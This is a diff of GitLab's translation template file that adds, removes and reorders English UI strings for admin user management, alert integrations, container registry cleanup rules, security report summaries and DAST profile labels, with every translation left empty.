msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -667,9 +674,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -685,13 +689,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -724,9 +728,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -831,40 +832,13 @@ msgstr[3] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -926,6 +900,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -1033,6 +1010,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -1051,12 +1031,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1688,9 +1662,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -2040,9 +2011,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2265,6 +2242,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2313,16 +2299,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2349,6 +2338,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2385,6 +2377,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2424,6 +2425,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2433,6 +2443,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2442,6 +2455,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2454,7 +2476,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2668,6 +2696,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2677,9 +2723,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2707,6 +2762,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2719,7 +2780,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2728,27 +2795,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2758,9 +2849,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2770,6 +2858,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2782,6 +2882,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2797,16 +2900,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2911,6 +3035,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -3028,9 +3155,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -3151,9 +3275,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3187,16 +3308,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3253,6 +3377,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3280,9 +3407,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3313,6 +3437,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3331,6 +3458,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3517,6 +3647,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3587,6 +3723,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3668,6 +3807,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3719,9 +3861,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3774,6 +3913,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -4052,6 +4194,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -4172,6 +4320,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4460,12 +4611,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4490,6 +4647,13 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4541,6 +4705,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4799,9 +4966,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4829,6 +4993,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4925,6 +5092,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4952,6 +5122,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4985,9 +5161,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -5129,6 +5302,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -5147,9 +5323,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5216,6 +5389,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5402,12 +5578,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5441,6 +5611,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5609,7 +5782,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5651,10 +5824,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5702,7 +5875,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5711,9 +5884,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5804,6 +5974,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5912,6 +6085,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -6170,9 +6346,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6275,6 +6448,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6608,7 +6784,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6951,6 +7127,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -7074,9 +7253,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7248,6 +7424,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7272,7 +7451,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7304,6 +7483,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7379,6 +7561,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7388,6 +7579,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7413,7 +7613,16 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7422,6 +7631,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7443,21 +7655,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8248,9 +8469,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8311,6 +8529,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8438,9 +8659,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8489,7 +8707,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
